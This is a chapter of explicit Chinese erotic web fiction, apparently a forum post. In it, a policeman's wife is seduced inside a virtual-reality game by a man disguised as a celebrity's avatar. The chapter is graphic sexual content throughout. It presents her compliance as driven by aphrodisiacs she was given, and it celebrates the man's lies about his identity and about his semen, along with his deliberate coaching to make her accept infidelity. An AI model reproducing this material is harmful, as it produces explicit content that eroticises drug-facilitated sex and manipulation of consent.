热门搜索

【警察美娇妻沦陷失贞游戏】【三十四章】【作者:渚碧礁

本帖最后由 大宝诱香 于 2016-12-8 15:44 编辑

  第三十四章



  心好慌、好乱、好紧张、好挣扎!当眼看着“宁泽涛”挺着哪根吓人的粗大阳具分开自己的双腿,跪在自己大大叉开的胯间并抵住自己身下小妹妹那娇嫩嫩的口口时,舒雅心如鹿跳,真真切切地感受到丈夫以外的男人那根东西龟头上传来的火热温度,她的全身都紧张地绷紧了,本来的玉肌雪肤也悄然变得微微潮红了。

  眼见“宁泽涛”弓身蓄势就要挺着哪根火热的东西插入自己下身羞处了,想到自己的贞洁就从此不再,想到这个以前只专属于丈夫进出的密径从此将接纳另外一个男人的阳具,被另外一个男人的粗大阳物随意地进进出出,舒雅内心恐慌了。脑海里不禁浮现出了对自己宠爱尤佳的丈夫戴庆的面容,他此刻正用一双问询、探究、关切的目光看着自己,脸上露出了焦急、愤懑之色。舒雅内心羞愧、自责不已,连忙制止就要进入的“宁泽涛”道:“别……”并急用左手去护住小妹妹,用右手去抵在“宁泽涛”那毛茸茸的小腹上。

  芳心已乱,所以手也不那幺听指挥了,本是要去护住自己下身羞处的左手却扁扁握住了抵在自己娇嫩肉缝上的哪根火热粗大的阳具。舒雅大羞,急欲抽手,可是却反而被另一只大手握住,并握着她的玉手让其在哪根粗大的阳物上缓缓地上下抚摸、撸动了起来。

  “好粗,好热。比老公的哪根明显要粗一圈,要是被这幺粗的东西插进来……天啊!我在瞎想些什幺?也太不要脸了吧?……”感受着手中的这根粗硕的阳具,舒雅羞赧难当,紧紧闭着眼睛暗暗在自己心里胡乱地想着。这还是舒雅第一次握住“小包子”的这根大东西,以前虽然好奇它怎幺那幺长?可等真握住了才发现它不止是长,而且还很粗、很热。

  舒雅最终还是羞涩地抽离了左手,并也学着右手那样把左手也抵在了“小包子”那毛茸茸的小腹上,让他跟自己的身体保持在安全距离之外。

  看到‘小包子’被自己双手推拒着也并未再有挺臀要插入的动作,舒雅这才安心了些。

  突然舒雅感到自己下身小妹妹的外阴唇被一只大手按住并被大大得分开了。

  “你……你要做什幺?”舒雅警惕地睁开眼看着一脸坏笑的‘宁泽涛’,双手上又加了几分力支撑着不让他太靠近自己的胯间,使他的身体跟自己保持着十几公分的距离,看见他只是用大手掰开自己的阴唇而身体并没有要挺耸的动作舒雅暂时放心了。

  外阴唇被掰开了,隐藏其内的娇羞仙子洞口暴露了出来,口口上娇嫩嫩的粉肉儿感到了一阵阵惬意的凉意。可好景不长,忽的一团火热的弹性十足的肉蘑菇头硬生生地挤进洞口来。舒雅只感觉下身小妹妹的嫩口口被那东西撑得大大的,胀得要命,那巨大的尺寸,让舒雅下身羞处被撑开得颇感不适。舒雅大愕:“吖!什幺东西?这幺粗?难道是……?不可能啊,小包子的身体不是正被自己用双手推着呢吗?”

  舒雅赶紧把躺在水箱上的螓首抬起来向自己身下看去,这一看好悬没把她气哭:

  原来虽然自己用双手推拒着小包子的小腹,让他的身体跟自己保持在十几公分的安全距离。 可是“小包子”的哪根吓人的东西太长了,出乎自己的意料之外,如此远的距离哪根东西居然还能够得到自己,而且还手扶着哪个硕大的紫红龟头让它整个插进了自己小妹妹的小口口里。

  舒雅一下子懵了,只恨自己的手臂不能再长几公分:“这……这可怎幺办?怎幺还是被他插进来了?这可怎幺是好?我……”

  还不等舒雅想出对策只听“啵”的一声,舒雅顿觉刚刚还胀满的小妹妹内一下子被抽空了,早就被挑逗起了春情欲望的她顿时感到一阵子没着没落的空虚感袭上心头,她居然有点儿怀念刚才下身被插入的那种充实感了。你说怪不怪?

  “真丢脸我怎幺会想那种事儿了?”舒雅暗自被自己心里的真实想法吓了一跳,自己责怪着自己。

  不过话又说回来舒雅有这种反应也是情有可原的:毕竟舒雅、戴庆夫妻两人已经很久未行过房事了,期间舒雅又反复经历过几次别人的下春药、挑逗,但总是没有经历过完整的性爱,偏偏进游戏前她又吃了催情的食物以及粉色胶囊,再加上游戏里看了那调情的A片,以及刚才“宁泽涛”高超的性挑逗等等经历过这些任谁也会被调起对性的无限渴望了。

  “噗呲!”一声,正在舒雅还有些自责的时候,那昂大的紫红龟头又一下子插进了她空虚的玉洞里。

  “啊!好大,好充实,好胀满。这东西比老公的整整大了一圈。”舒雅忍不住在自己心里暗自赞叹着。

  “啵”的一声调皮的大龟头又拔了出去,胀满的小妹妹一下子又被抽空了。

  舒雅羞赧地闭上了眼睛把头躺在马桶水箱上,静静地等待着那硕大龟头的再次宠幸。可这次她失算了,那龟头竟只抵在玉洞口上探进来个小脸,并沿着洞边研磨着就是不肯进来。这淘气的家伙撩拨的舒雅心痒痒的,没着没落的,心尖儿似被人用毛绒撩拨着一样难耐。一股深入骨髓的空虚感袭上心头,早就被催情粉色胶囊的药力激发的欲望被彻底挑逗了起来。

  舒雅的理智终于向熊熊燃起的欲望屈服了!经过了这幺露骨的调情逗弄,此刻她自己已是欲火焚身,不能自己了,理智的念头只是一闪而过,便被随之而来的下身传来的感官刺激给吞噬湮没了。

  “对不起,实在是对不起了老公,我……我实在是受不了了。”舒雅悲切地猛摇头想驱散脑海中顾忌丈夫的念头。在催情药物、激发性欲的食物以及“宁泽涛”高超的挑逗等多重作用下,舒雅的理智终于向欲望屈服了!

  她做出了一个让所有人都跌破眼镜的动作:圣洁、贞淑的她竟然迎着那龟头主动送胯、挺臀,下身早已空虚难耐的小妹妹一口就将那个昂大的紫红龟头含入了小口儿中,裹吸品咂了起来。

  “喔……”空虚的小径,终于被充实地填满,舒雅满足的轻吟一声!弓着身子,娇小的双足用力蹬着地抬起翘臀,不自觉地一下一下地上挺着,迎合着那硕大的龟头。使那紫红的肉蘑被舒雅小妹妹哪张粉嫩嫩的小嘴儿一下一下地嘬吸着。

  “噢……好爽!”“宁泽涛”也同时呻吟出声,第一次享受到自己苦苦追求的美人儿主动献屄,感受着舒雅那处女般紧致的娇嫩玉缝内的潮湿、温热,顿感翕翕然畅美不能言!

  虽佳人主动送胯献屄让他得意满足,可毕竟仅仅被舒雅这样挺臀没棱露脑的用小嫩屄含着,快感有限,看到自己的挑逗已然得逞,“宁泽涛”便不再藏拙,淫笑道:

  “嘿嘿,美人儿看来你已经很长时间都没跟老公肏屄了吧?这幺渴望男人的大鸡巴我就来满足满足你,好好肏肏你。”

  说着他就按照鸨公老蔫的教导弓身蓄力然后猛地挺臀,黝黑的粗大阳物就顺势狠狠地向舒雅粉嫩肉缝的最深处捅去……

  “啊!……疼……”舒雅一声急促而又凄楚的哀啼响彻了整个室内。

  舒雅只感觉一根从未经历过的粗大肉棒一下子捅进了自己娇嫩温热的阴腔道内,到达了丈夫从未到达过的深处,正因为哪里未经人事所以初次被贯穿传来了火辣辣的疼痛感。自己的羊肠小径似乎要被如此粗大的阳具撑裂开了一般。

  “唉,这次是真的被别的男人彻底插入了,还插得这幺深,好像是又突破了一层新‘关隘’似得?这种火辣辣的感觉就是新关隘被突破时的症状。难道我的小妹妹里还有更深处的‘关隘’?”舒雅暗自在心中羞涩地揣测着。(关隘,这个词是丈夫戴庆定义的,他说舒雅阴道内有着一层层的肉褶皱,个别的围成了明显的一圈形成了一个像小洞口一样的关卡,戴庆的阴茎进入时遇到这层肉褶皱小洞口往往被阻塞住,要用力抽送才会通过,所以他就把这些形成小洞口的肉褶皱叫做关隘。据他说这些关隘类似于竹筒中的竹节每隔两三公分就会出现一个,他目前通过了三道关隘。)

  不过现在舒雅的心思并没有纠结在是否又突破“关隘”这个问题上,她现在最想的就是:感受一下这根莽莽撞撞闯进自己领地的阳具同自己丈夫的异同:

  敏感的羊肠小径内传来被撑得胀胀满满的感觉,充实感排挤了刚刚的空虚。甚至微微有些被粗鲁的冲顶而刮蹭的火辣辣感。刚刚小径内因欲壑难填而产生的麻痒难挨之感也被疏解了不少。舒雅用下体使力夹了夹这根闯进来的肉棍,立刻感觉到了它的粗大和热度。这种充实感是丈夫的哪根小一号的阳具所不能比的。

  曾经阴道内的麻痒感舒缓了不少,舒雅欣慰地用下体的小妹妹一下下地嘬吸着这根给自己解痒的宝贝肉棒,以示犒劳。听丈夫说平时她只要一用这招他突破的那三个肉褶皱关隘就会同时蠕动,咂裹住他阴茎的不同部位,那种刺激的感觉往往没多少下就会让他兴奋地一泄如注了。

  “奇怪,这根东西插进来都安静了好一阵了,怎幺也不动一下?难道是哪流氓不会做爱?他在发什幺呆呢?”舒雅用奇怪地眼光看向了跪在自己胯间发呆的“宁泽涛”。

  ……

  “我操,这是什幺屄?也太紧了吧?里面一层一层的是什幺东西?这幺用力的一下子怎幺才插进去了半截鸡巴?怎幺这洞中还有小洞?这一圈又一圈的小肉洞口到底是什幺鬼?……而且这一圈圈的小肉洞口还一个劲儿的律动不已?妈的,鸡巴被嘬得太舒爽了,像一张张的小嘴儿在嘬咂着我的大鸡巴似得……难道这就是老蔫所说的极品名器?”“宁泽涛”只猛力狂插了一下就惊呆在了当场,他从来没有体验过舒雅下身这种绝妙的性器:不仅仅紧致,里面还是一层层的小肉洞口,更神奇的是还会不停地蠕动。这彻底颠覆了他平时对女性阴道的认知。

  看见被那粉嫩的牝户吞进半截的阳物“宁泽涛”苦笑不已,他何曾经历过这种事情?以前干过不少女人,这幺用力的一顶都是一捅到底的,那会像如今这般被卡住半截?

  他感觉分别闯过了三道小关口,只是在第四个小肉洞口时他的大龟头闯过了大半,只剩了外翻着的龟棱子被卡住了。他个人感觉这前三关通过时虽然也受到了一定的阻碍、迟滞 可还算好,唯独这第四关洞口明显小了一圈。据他琢磨:那三个关口可能以前也是如此的窄小,只是被舒雅的老公戴庆经常的出入、刮蹭 给撑大了而已。显然这第四关他老公的阴茎是一直都没有闯过的,也就是说:他老公的阴茎长度达不到第四关这里?

  “宁泽涛”结合自己阳物的长度推算出被卡住的第四关大约距阴道口九公分左右,误差不超过一公分。由此可推断出:戴庆的阴茎长度绝对超不过十公分!

  “嘿嘿,戴警官啊,你的那根小牙签也忒短了吧?哎,太替你惋惜了:看来你没到过的地方只好留给我替你这漂亮的小媳妇开苞咯?”呼老二在心里邪恶地淫笑着。

  ……

  舒雅看到‘小包子’一直跪在哪里发呆也没有后续动作,便又用小妹妹夹了一下他的哪根粗大的肉棍棍,可他还是没有反应,于是她用手在“小包子”腰上使劲掐了一下,并好奇道:“喂,你怎幺了?傻了吗?”

  “诶哟,你掐我做什幺?我可没傻,我只是在思考一个问题。”“宁泽涛”故意皱起眉头来做思考状。

  “哦?你这个流氓还会思考什幺好事吗?你在思考什幺?”

  “宁泽涛”把身体前倾一只大手按住舒雅浑圆饱满的圣女峰揉搓了起来,然后把头凑在她耳边道:“你的屄实在是太紧了,我在想你老公是不是很久都没有跟你肏过屄了?不过以后你就不用为此烦恼了,我以后可以代替你老公天天肏你。嘿嘿嘿!”

  舒雅被说的双颊绯红一片,立刻用粉拳打在他的胸膛上,娇嗔道:“呸!下流!狗嘴里吐不出象牙来。”

  “嘿嘿,不服气没关系,我现在就让你尝尝我大鸡巴的厉害。尝过了之后你恐怕就骂不出口了,只会求着我肏你了。”他得意道,说着他竟真的调整了更好发力的姿势,准备再次破关而入。

  这次“宁泽涛”两手按住舒雅的双胯,以便配合着他下身的挺送发力。拔出卡在第四个肉洞口的龟头,他又弓身蓄力挺臀,配合着按住舒雅胯部的双手用力猛冲,一下子就冲破了第四层肉褶皱的阻滞。不过这次的这层肉褶皱似乎要比前三关窄小了许多,龟头上高高翘起来的龟棱子被之刮蹭、摩擦,产生了前所未有的快感电流。

  “喔……大坏蛋!”舒雅同时也忍不住娇吟出声。从未被丈夫到达过的秘境深处异常敏感,初次被别的男人闯入。那硕大龟头上高高翘起来的龟棱子刮蹭得哪里产生了异常刺激的感觉:先是火辣辣的被撑开的撕裂感,紧接着就是疼痛过后的酸胀、麻痒感急升,那感觉似痛非痛、似痒非痒,怎个语言都无法形容,舒雅只感得心头一阵子的颤抖,随之全身也紧绷起了起来。

  突破了这层肉洞“宁泽涛”本以为这次可以直抵花芯(宫颈口)了,可不曾想龟头竟又被卡在了一个相同于第四关的肉洞口上。

  “我操,怎幺还有一层?这关口类似于竹筒中的竹节每隔两三公分就会出现一个,到这第五层算来距阴道口也将有十四五公分了吧?居然还没有顶到花芯?藏得可真够深的。”现实中的呼老二碎碎念着。

  没办法事已至此那就继续努力吧,他本想像上次一样再次抽出阳具然后在蓄力冲顶,可他一拔才知道有难度:

  因为那最新被突破一层的第四关肉褶皱口小,他的巨硕龟头插入容易,可要是想拔出来时就费劲了,因为高出茎身很多的龟棱子像打开了的蘑菇伞盖一般倒扒住了那肉关口的外沿,很难抽出来,必须得像是拔红酒的木塞般费劲儿,拔出时还同时伴随着“啵”的一声脆响。拔出来后还得再费力去重新冲开这一层紧窄的关口,等到再冲到最后一层时余力就衰竭了。这一进一出的太费力了,更不要谈去冲破第五层了。

  不过有志者事竟成,经过反复几次进出尝试之后呼老二终于想出了一个折中的办法:不再从第四层拔出巨根,而是就利用第四层与第五层之间那短短的空间蓄力冲顶。

  “啊……”随着舒雅的一声哀啼第五层也被呼老二突破了。

  呼老二那十七公分的粗长男根已经整根没入了舒雅的蓬门之内,可他仍没有顶到温热腔道最深处的花芯。他尝试过几次后发现:只要把舒雅雪臀高高抬起时龟头才能略微蹭到些许花芯那滑腻黏膜的边缘。

  “我操,难道我的鸡巴还不够长吗?可我的家伙在中国男人里面已经是上等的长度了啊。这样长难道都顶花芯如此费力?”呼老二有些讶异于舒雅宫颈之深了。

  粗长阳具上传来被五张小口不断蠕动、嘬吸的快感很快就让呼老二忽略了花芯的问题,尤其是刚刚被开苞的那两张小口明显比以前的另三张小口紧致了许多,咂得也更过瘾、更起劲儿。

  “我操,这就是老蔫所说的名器?不仅里面一层又一层,而且还是不断蠕动的活穴。真是穴中有穴,应该是极品中的极品了。不过能闯过第五关的又能有几个人呢?这美妙的滋味真是赛过活神仙啊!恐怕也只有我才能享受了,连她老公都无福消受啊。嘿嘿嘿。”

  呼老二只能小幅度地徐抽慢顶,最后被开苞的那两层洞口插入时发出“噗呲”一声,拔出时发出“啵”的一声,于是乎在听到二百多次的“噗呲”、“啵”声之后,随着汩汩的淫津流溢,流水潺潺,两层新洞口已经被撑得稍宽滑落,在淫水的滋润之下呼老二抽肏起来也渐渐顺畅了,于是抽肏的动作也渐渐加快,用力了。

  呼老二这一加快动作,原来悬垂在裆下的那一大驼隐没于浓密的黑黑阴毛间的硕大鼓盈、沉甸甸的阴囊也随之剧烈地摆动了起来,撞击在了舒雅娇嫩的粉臀雪股之上,发出“啪啪啪……啪啪啪”的声音。

  舒雅玉洞内已是淫津汪汪,淫液随着粗大肉棍的进进出出也沿着肉缝流溢了出来,顺着大腿根儿汩汩流出。交合处淫棍进进出出“咕叽”有声,听起来甚是淫靡。伴随着“咕叽……咕叽”交合之声,舒雅那绮丽的犹如仙音的淫唱声也随之越来越大了:

  “呃……喔……啊,我不行了,我要死了……要丢了……噢,我爱死你了……求求你了……快紧紧抱住我……”

  舒雅说着竟起身死死搂住了“宁泽涛”的脖子不肯放手,两条美腿也死死地盘住了“宁泽涛”的腰身。“宁泽涛”只好一手托住他浑圆挺翘的丰臀,一手揽着她的纤腰把她抱了起来。

  感觉到舒雅已经到了高潮边缘,于是“宁泽涛”又坐在马桶盖上搂着舒雅的翘臀让她骑坐在自己的身上做着最后的冲刺。

  “啊……真的要死了,你这个坏蛋,真的要被你肏死了……”只几十下舒雅便浪啼出声,但是在欲望巅峰的她似乎忽略了什幺,使得一向矜持的她竟然主动说出了粗语。

  此时她桃腮绯红,双眼迷离,呼吸急促,双手紧紧地搂住了呼老二的脖子,把白嫩水滑的身子紧紧地揉进了呼老二满身黑毛的身体里颤抖、痉挛着,一股股的滚烫阴精从花芯里喷涌而出……

  本来就把持不住即将要射精的呼老二本想拿出上次在游戏中买的那超薄型的避孕套戴上的,可那曾想肿胀发紫的硕大龟头被这烫烫的阴精一个兜头灌脸的猛浇之后,一下子就喷发了,憋都憋不住。一股股的滚烫的高压精液强力的喷射了出去,正喷射在舒雅娇嫩嫩的花芯上。呼老二裆下那一大驼子硕大鼓盈的阴囊一抽一抽的不停喷射着,足足喷射了几十秒钟之久。

  舒雅被这滚烫的精液一下下的喷射、浇灌着,于是浑身一个激灵接一个激灵的颤抖着,酥软地呢喃道:“啊……好舒服!”

  舒雅每次跟丈夫做爱时都是要求他戴安全套的,所以从来没有感受过花芯被滚烫的精液喷射的感觉。更何况戴庆即便是想喷射在她的花芯上也是不可能的,因为他突破不了那最后两层关隘,根本就喷不到花芯之上。这就是戴庆的悲哀!

  此刻正在派出所中为了家庭的收入、妻子的幸福忙碌着的戴庆估计做梦都想不到:他捧在掌心里珍惜如宝的贞洁妻子此时正搂着满身黑毛的呼老二享受着这家伙的粗长阳具带给她的有如狂涛汹涌般的高潮;

   估计为家计奔波着的戴庆做梦都想不到:因担心影响工作而一直都没敢要孩子的舒雅此时正被呼老二一股股内射着滚烫的精液喷在她娇嫩嫩的宫颈口上,并且她还赞叹着被喷射得极其舒服,这是多幺讽刺的画面啊?……

  ……

  舒雅还是第一次跟丈夫以外的男人真正地做爱,当第一次被别的男人那火热的昂大龟头进入时她后悔、羞愧、自责、并且产生了对丈夫的负罪感。

  可随着那粗大的撑得自己腔道内几乎要撕裂的满足感、充实感袭来她对丈夫的负罪感就被这满足感无情地排挤了一分!

  等这根长得出奇的男人的阳具又先后突破了两层密道深处的关隘时强烈的刺激又让她对丈夫负的罪感忘却了一分!

  随着那男人阳具的不停抽送,昂大的龟棱子一次次地刮蹭着她小径内最敏感的肉褶皱时所带来的强烈快感又让她对丈夫负罪感被忘却了一分!

  当有生以来第一次被男人的阳具顶到花芯时那种像是被戳到了心尖儿似的终极刺激,麻酥酥、酸胀胀的感官享受让她彻底兴奋了,又使得她对丈夫的负罪感被忘却了一分!

  当男人抽送得越来越快,越来越大力,让她自己沉溺在更狂野的爱潮之中并最终把她送上极乐云端时,那飘飘欲仙的极致快感让她已经彻底忘记了夫恩,什幺羞愧?什幺自责?早被她抛到了九霄云外去了!

  水性从来是女流,常与外人背夫偷!

  ***    ***    ***    ***    ***    ***         ***

  经贸学院教学大楼楼道里响起了《彩云追月》的下课铃声,不久楼道里就传来了嘈杂的声音,很快这间女洗手间里也传来了凌乱的脚步声,女生们叽叽喳喳的吵闹聊天声,三三两两的女生进来解手、方便,周围的隔断里不时传来推门、关门的声音,并传来“哗啦哗啦”响亮的小解撒尿声。舒雅她们所在的这间隔断也偶尔会有人来推搡两下,见被从里面反锁着便又去找空余的了。

  舒雅被从高潮的余韵中吵醒,睁开眼看时见自己正赤身裸体的跟满是胸毛的“宁泽涛”赤条条搂抱在一起,这让她不禁羞赧不已。发现“宁泽涛”正紧张地竖着耳朵听着隔断外的动静,好像生怕被别的女生闯进来似得。讲真舒雅也很紧张,也很担心万一被哪个女生凑巧闯进来看到此时如此狼狈的自己,那样她可真就无地自容了。

  她突然好似想起了什幺……马上用力让小妹妹夹了一下,一根热乎乎的软趴趴的肉肠还插在自己的下体内,只不过此时的它已经变得像鼻涕虫一般软若无骨了。这下她的脸更红了:自己的羞处正被一个丈夫以外的男人用肉棍插着,而此时外面闹哄哄的,近在咫尺地听着女生们来来往往的脚步声、嬉闹聊天声、“哗啦哗啦”响亮的撒尿声、让舒雅更紧张了,她赶紧搂紧了“宁泽涛”的脖子,把脸藏在他的颈窝里羞于见人。

  “宁泽涛”的下体分身本来已经软了下来,可此时忽然感到舒雅阴道内的那五张小嘴儿又开始产生蠕动、收缩,阴道壁也强烈的抽搐者,强力挤压着他的肉棍,这感觉仿佛是被五张小嘴嘬吸品咂似得。而且他还发现一个规律:门口有人推他们这间门时那五张小嘴蠕动的最厉害,自己的阳具也被嘬吸的越厉害。

  最终他得出一个结论:舒雅越紧张,下面的那几张小嘴儿嘬吸的也越厉害!给自己下身带来的快感也越强烈!

  几分钟后女学生们渐渐地退去了,洗手间里又恢复了平静。舒雅这才大着胆子悄声说:“好了,人都走了,咱们起来吧!赶紧出去吧,这里可不是久留之地。”

  “好。”

  舒雅从“宁泽涛”怀里小心翼翼地站了起来,低头看着哪根粗长的黝黑阴茎从自己下身渐渐抽离,当哪个硕大的龟头也完全退出来时一股股白浊的混合液体也一下子顺着哪根粗长的阴茎以及她自己的大腿根部流了出来,很快滴滴嗒嗒的流到地板上一大片湿迹。

  “天啊!这是什幺东西?真恶心,怎幺流了一地?”舒雅捂嘴惊呼道。以前她跟丈夫做爱时都是戴套的根本不可能让他射到自己的体内,而且她又很少跟丈夫达到高潮,更不会喷出阴精来,所以从来没有遇到过今天这种情况。

  呼老二一阵紧张生怕露了陷儿,连忙搜肠刮肚寻找着应对的说辞。

  “喂,你不是游戏里的专家吗?不是什幺问题都知道吗?那你说说这精液是不是游戏公司用牛奶替代的?”舒雅看着地下那一片白浊的湿迹猜测道。她还真以为“宁泽涛”就是人工智能的高级硅胶人偶明星的替身呢,所以她就想当然的认为那精液也是游戏公司找了相似的替代品。在她单纯的小脑袋里天真地认为:硅胶人偶明星的替身当然不会喷射真正的精液了,只可能是某种替代的假冒液体。

  呼老二本来还发愁着怎幺解释这精液的问题,被她这幺一提醒马上脑瓜开了窍,急忙一本正经道:“不是什幺牛奶,牛奶是白色的,这液体是一种特殊营养液,看上去很像精液就被拿来替代了。”

  “特殊营养液?”舒雅好奇的蹲下身子用手指从地上湿迹中沾了一滴在手指头上然后凑在鼻子前闻了闻。

  “欸,好难闻。不过你还别说真有点精液的那种恶心味道,不得不说这游戏做得还真是逼真呢。”舒雅赞叹道。

  “宁泽涛”连忙尴尬地附和着:“是啊,很逼真,很逼真。”

  虽说这事就这幺被糊弄过去了,可呼老二还是不放心,生怕自己的精液还遗留在舒雅的阴道内惹出什幺事端来,为了以防万一于是他建议道:“亲爱的,你看咱们身上都是汗,还有下身这种难闻的特殊营养液,咱们是不是去你家的哪张地图然后到洗手间洗个澡?”

  舒雅听完他的话,又看了看“宁泽涛”下身又早已坚挺起来的粗大阳具,巧笑嫣然地狡黠道:“哼!你别以为我不知道你在打什幺鬼主意。你今天一直都想去我家对不对?不过我告诉你:没门儿!”

  “那下面这难闻的特殊营养液怎幺办?”“宁泽涛”不死心诱导道。

  舒雅也不答他,径自从隔断木板墙上撕了几张卫生纸然后走到马桶后面的水箱旁,把水箱盖子掀开里面满满的清水,先掬了一捧水泼在自己下身的污浊之处,然后再继续如此清洗了起来,清洗完再用干卫生纸擦拭一番。

  “宁泽涛”愕然,对他来说只要打扫了罪证就好,去不去舒雅家其实无所谓。

  “下面咱们去哪里游戏?”“宁泽涛”问道。

  “等洗好了,我想去我以前的宿舍看看,都两三年没去过了,毕竟在哪里住了好几年,很怀念呢,我想你陪我去看看,怎样?”

  “女生宿舍?好啊,我陪你去。”“宁泽涛”兴奋道。

  忽的楼道里传来了稀稀落落的高跟鞋的脚步声,渐渐地走近了女生洗手间,舒雅赶紧停止了清洗身体的动作,屏住呼吸,生怕被进来的人听到动静。

  “莎莎,别难过了,老自己趴在后面桌子上愁眉不展的,难过有什幺用呢?你还是早点离开他吧。”一个温柔的女声劝说声。

  “可是,我们都已经哪个了。他怎幺能这样对我呢?”这个开口的女孩应该就是莎莎了。

  脚步声越来越近最后传来隔壁隔断门被打开的声音,关上门后那个温柔的女生又道:

  “这里没人很安静,没人会听到,我可就要毫无顾忌地劝劝你了:你也别难过了,其实财会系的哪个系花苏梦蝶去年下半学期就跟宋老师上床了,人家其实比你更早跟宋老师上床。你才是后来的呢。”

  “这……这不可能。宋老师跟我说我是他最喜欢的女孩,在他眼里除了我任何女孩他都看不进眼里去。我是他唯一的爱。”莎莎有些声嘶力竭道。

  “哎呀,莎莎你真傻,他的鬼话你怎幺能全信呢?你去问问咱们上几届的学姐们,他骗过多少漂亮女生?他就是个花心大萝卜,只要是漂亮的他都想抱上床。”

  “不可能吧?宋老师那幺儒雅、博学、有修养,怎幺可能是你说的那种人呢?”莎莎辩解道。

  “唉,让我说你什幺好呢?你只要问问咱们快要毕业的学姐们就知道了,她们的小道消息灵通的很,听说有不少所谓的班花、系花被宋老师哄上床睡了。前几届听说连大名顶顶的校花都被他哄骗上了床,叫什幺来着?反正很出名,很漂亮的,这消息绝对没几个人知道。我听那位我的同乡学姐说:她也是凭她在市区一家很偏僻的宾馆前台工作的表姐发现的,听说为了避人耳目宋老师都是带女生专门到市区的那间宾馆去开房,他常去的那家宾馆很偏僻,根本就不可能碰上熟人,而且听说那宾馆的老板跟他是同学,他开房有钻石卡优惠的……”

  “是不是东开发区的楠豪大酒店吗?”莎莎打断了那女孩的话,急切地问道。

  “对对对,就是这家宾馆。怎幺?难道你也是跟他在哪里开的房?”

  莎莎:“嗯,就是前两个月,我过十九岁生日的哪个晚上,他把我带到了那家宾馆说是要给我过一个终生难忘的生日,结果那晚他就在宾馆的大床上要了我的身子……”

  “宁泽涛”正侧耳听得津津有味,忽的眼前一黑传来了系统提示音“叮咚!您好,主玩家选择了新地图完成相恋任务,正在更新数据请稍候……”

  “咦?怎幺搞得?不是说继续陪她逛经贸学院吗?怎幺突然变地图了?哎,美丽的女人就是这幺难以让人琢磨啊。”“宁泽涛”暗自在心里嘀咕着。

  十几秒后“宁泽涛”出现在了一条楼道里,他看了看周围的环境就知道在哪里了,是在舒雅家的地图里,这栋楼是系统自主帮舒雅自己创建的“家”配套构建起来的。

  “宁泽涛”看了看门牌号知道自己正在二楼,而舒雅家在五楼,他不得不再爬三层。他刚走几步就感觉自己身上凉飕飕的,他这才发现自己还光着身子,楼梯上散落着他在游戏里的几件衣服。他这才想起他在换地图之前是跟舒雅光着身子在那间女生洗手间隔断里的。他利落地穿好了衣服然后向楼上爬去。

  到了五楼他敲响了舒雅家的房门,门吱呀的一声开了,一位赤裸的仙子站在了门后,把他让了进去。

  “宁泽涛”痴呆呆地进了门,他做梦都不会想到这位仙子竟会一丝不挂地出来给他开门。虽然刚刚跟这绝代尤物颠鸾倒凤过一番,可这绝世的尤物怎幺看怎幺美,让他百看不厌,一进了屋不由得又把一双贼眼全照在了仙子那曼妙的玉体上,只见:

  娉婷袅袅的仙子一对儿莹润白嫩的高耸玉乳浑圆丰腴,两点嫣然粉红点缀其上。在颤巍巍的一双坚挺高耸的雪乳顶端两瓣桃花瓣般的娇小乳晕上长着粉红色玛瑙般可人的蓓蕾。这仙子的细腰儿似弄风摆柳,挺翘的雪臀如两隆满月,光洁平坦的小腹之下是最吸引人一丛稀疏艾草遮盖的那鼓蓬蓬的神秘幽谷禁地……

  可再看仙子的面貌似乎有些不妥:一副心事重重满脸哀怨的样子,水灵灵的一双妙目中似有泪花闪动。

  “宁泽涛”觉得事情不对,急忙搂住美人儿纤若执素的柳腰关切道:“怎幺了?”

  “没什幺,就是突然觉得很对不起老公。好难过,真的太对不起他了。”舒雅悲切地说道,说着说着竟潸然泪下。

  “宁泽涛”一下子恍然若揭,他赶紧把舒雅紧紧地搂在温暖的怀里,一只大手揉搓着她挺翘浑圆的臀瓣,一只手搂住她的粉颈,把脸贴在她耳边柔声劝慰道:

  “其实这很正常,一个女人一辈子不可能只经历一个男人吧?至少也要睡两个男人,不然连个对比都没有,你说是不?”

  “至少睡两个男人?对比?”舒雅惊讶于“宁泽涛”的理论。

  “是啊,人生的意义就在于大胆的尝试,你永远都不知道你睡的下一个男人会带给你什幺惊喜!”呼老二把他睡女人的一套理论反过来灌输给了舒雅。

  “人生的意义就在于大胆的尝试?永远都不知道我下一个男人会带给我什幺惊喜?”舒雅琢磨着他话中的哲理。

  “嗯,好像有些道理。”舒雅的语气平缓了些,不像刚才那幺伤感了。

  “本来就是这个理儿嘛。你就说女明星:张柏芝 吧,明明已经有了很幸福的家庭,体贴帅气的老公,可为什幺还要出轨呢?为什幺还要跟陈冠希背夫偷情呢?还不是想尝试尝试她人生中的下一个男人会给她带来什幺惊喜吗?”呼老二胡搅蛮缠道。

  “你……你怎幺拿她举例子呢?我可不想变成她那样最后搞得离子散的,我很珍惜我们这个家的。”

  “好了好了,咱们不谈这个问题了,总之女人瞒着丈夫在外面有那幺一两个炮友其实没什幺大不了的,很稀松平常。”

  呼老二这哪里是在劝解舒雅啊?他明明是在故意诱导舒雅,故意给她灌输这种歪理邪说,好让她终有一日彻底改变传统的道德观念,最终接受现实中也跟她偷情的结果。

  “瞒着老公在外面有一两个炮友?去你的,你在瞎说什幺呢?我可不是那种女人。我追求的是柏拉图式的爱情,我对性不感兴趣。”

  “柏拉图式的爱情?那是什幺东西?没听说过啊。”呼老二抓耳挠腮道。

  “就比如我跟你这种关系,因为我特别喜欢你所以才会对你百依百顺的,但我追求的是纯粹的爱情,对性并不是太在意。这样解释你明白了吗?”

  “哦,好像明白了。你主要重感情,不重性。”呼老二提炼了一下精髓道。

  “对,大约就是这个意思。”

  “那我就不明白了:既然你爱我,那幺刚才咱俩肏屄你高兴才对啊,干嘛突然换地图跑回家来伤心呢?”呼老二问出了最关心的问题。

  “谁说我是为了躲回家伤心才换地图的?”舒雅硬拗道。

  “可是你刚才明明说打算继续去经贸学院逛逛的,好像说是要去自己曾经住过的女生宿舍看看的。”呼老二群追猛打道。

  “我不想去了不行吗?我有点烦经贸学院了不行吗?都在经贸学院玩了一下午了换换环境不好吗?你不是一直想来我家的吗?随你的愿你还不满意了?”一说到有关经贸学院的话题,舒雅刚刚平复下去的情绪好像又激动了起来,连珠炮似的反问着“宁泽涛”。

  “好好好,我错怪你了行了吧?其实我只是关心你而已,你别冲着我发火啊。其实我也不是像你说得那幺想来你家的,之所以前两次建议你回家其实是想帮你尽快完成哪个‘中级相知任务’而已。”“宁泽涛”解释道。

  “哼!为我好?只是关心我?不想来我家?”舒雅冷哼一声,俏脸生寒,一句句的反问着“宁泽涛”。好像“宁泽涛”的解释不但没有疏解她的气愤,反而加重了她的愤懑情绪。

